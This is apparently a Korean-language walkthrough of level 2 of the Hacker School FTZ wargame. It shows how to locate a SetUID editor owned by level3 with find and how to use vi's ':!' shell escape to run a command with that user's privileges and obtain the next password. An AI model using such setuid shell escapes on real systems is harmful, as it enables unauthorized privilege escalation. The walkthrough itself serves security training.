Hacker School FTZ
- level 2 -

1. hint 파일 살펴보기

```
[level2@ftz level2]$ ls
hint  public_html  tmp
```

처음 접속하여 ls 명령어를 이용해 현재 디렉토리를 살펴보았다.
hint라는 파일이 존재하는 것을 확인할 수 있다.

```
[level2@ftz level2]$ cat hint

텍스트 파일 편집 중 쉘의 명령을 실행시킬 수 있다는데...
```

cat 명령을 이용해 hint 파일의 내용을 살펴보았다.

※ 텍스트 파일 편집
텍스트 파일 편집을 할 때 사용하는 대표적인 편집기에는 vi 편집기와 nano 편집기가 있다.
vi 편집기는 명령모드, 입력모드, 콜론모드로 총 3가지의 모드가 존재한다.
명령모드는 방향기로 커서를 움직이거나 특정 키 입력을 통해 주어진 명령을 수행할 수 있다.
입력모드는 명령모드에서 i, a 등의 키 입력을 통해 들어갈 수 있다. 입력모드에서는 문자를 파일 내에 삽입할 수 있다.
콜론모드는 명령모드에서 ":(콜론)"을 통해 들어갈 수 있으며, 특정 명령어들을 수행할 수 있다.

```
[level2@ftz level2]$ vi
~
~
~
~
~
~
~
~
~
~
~
~                                   빔 - 향상된 Vi
~
~                                   판 6.1.320
~                                by Bram Moolenaar et al.
~                          빔은 소스가 열려 있고 공짜로 배포됩니다
~
~                          우간다에 사는 가난한 아이를 도와주세요!
~                   이에 대한 정보를 보려면      :help iccf<엔터>       입력
~
~                   끝내려면                     :q<엔터>               입력
~                   온라인 도움말을 보려면       :help<엔터> 또는 <F1>  입력
~                   판 정보를 보려면             :help version6<엔터>   입력
```

위 화면은 vi 명령어를 통해 vi 편집기를 실행한 모습이다.

nano 편집기는 ctrl(컨트롤) 키와 함께 키를 조합하여 특정 기능들을 사용할 수 있으며, 파일 수정은 vi 편집기와 같은 입력모드 없이 바로 파일 내에 문자를 입력할 수 있다.

```
  GNU nano 2.2.6               File: newfile


                            [ New File ]
^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

오른쪽 화면은 nano 편집기를 실행한 모습이다.
현재 HackerSchool FTZ에는 nano가 설치되어 있지 않다.

2. level3 권한의 SetUID가 걸린 파일 찾기

텍스트 파일 편집 중에 쉘의 명령을 수행할 수 있다는 것은 어떠한 명령을 수행할 수 있는 vi 편집기를 사용하겠다는 말과 같다. 현재 level2의 권한으로 어떠한 쉘의 명령을 수행하더라도 우리가 얻어야 하는 level3의 비밀번호를 얻지 못할 것이다.(특정한 파일이 있지 않는 한 말이다.) 따라서, 우리는 level1에서와 같이 우리가 얻고자 하는 권한의 SetUID가 걸린 파일을 찾아야 한다.

```
[level2@ftz level2]$ find / -user level3 -perm -4000 2>/dev/null
/usr/bin/editor
```

홈 디렉토리로부터 파일 소유자가 “level3”이고, SetUID가 걸린 파일을 찾은 결과, /usr/bin/editor 경로가 발견되었다.

```
[level2@ftz level2]$ ls -l /usr/bin/editor
-rwsr-x---    1 level3   level2      11651  9월  10  2011 /usr/bin/editor
```

ls -l 명령을 통해 해당 경로를 살펴본 결과, 실행 파일인 것을 확인할 수 있었다.

3. editor 실행

/usr/bin/으로 이동 후, editor 파일을 실행시켜 보자.

```
[level2@ftz level2]$ cd /usr/bin
[level2@ftz bin]$ ./editor
```

```
VIM - Vi IMproved

version 6.1.320
by Bram Moolenaar et al.
Vim is open source and freely distributable

Help poor children in Uganda!
type  :help iccf<Enter>       for information

type  :q<Enter>               to exit
type  :help<Enter>  or  <F1>  for on-line help
type  :help version6<Enter>   for version info
```

위에서의 부가 설명과 같은 vi 편집기 화면이 등장하였다. 이곳에서 우리는 쉘의 명령을 실행시켜야 한다.
현재 이 파일은 level3 권한의 SetUID가 걸린 파일이다. 따라서, 우리가 지금 실행시키고 있는 동안 이 vi 편집기 내에서는 level3의 권한을 가지고 있는 것과 동일하다.
이곳에서 쉘의 명령을 실행하는 것은 level3의 권한으로 실행하는 것과 동일하다는 뜻이다.

vi 편집기에서는 콜론모드에서 외부 명령을 실행하는 것이 가능하다.
이는 vi 편집기에서 리눅스 명령어인 ls, cat 등의 명령을 실행하는 것이 가능하다는 것이다.
그 방법은 콜론모드에서 “! (느낌표)”후에 실행시키고 싶은 명령을 실행시키는 것이다.

전 단계에서 우리는 my-pass를 이용해 현재 유저의 비밀번호를 획득할 수 있었다.
이 방법을 이번 단계에서도 똑같이 사용할 것이다.

```
:!my-pass
```

“:!my-pass”와 같이 입력하여 외부 명령어인 my-pass를 실행시켜 보았다.

```
Level3 Password is "[redacted]".

shell returned 37
```

그러자 level3의 비밀번호를 얻을 수 있었고, 명령어의 실행이 끝나자 shell이 return 된 것을 볼 수 있었다.
이후 아무 키를 입력하면 vi 편집기로 돌아가게 된다.
이를 따로 기록하여 level3 로그인 시, 이용하자.

만약, 위와 같이 shell을 실행하게 된다면 우리는 level3의 권한으로 bash shell을 자식 프로세스로 생성하게 된다. 그러면 다음과 같은 화면을 볼 수 있을 것이다.

만약, 이 과정으로 명령들을 수행한다면 bash shell이 자식 프로세스로 계속 실행 중이기 때문에 명령 하나를 입력하고 바로 shell이 return 되지 않는다. exit 명령을 통해 현재 bash 프로세스를 종료할 수 있다.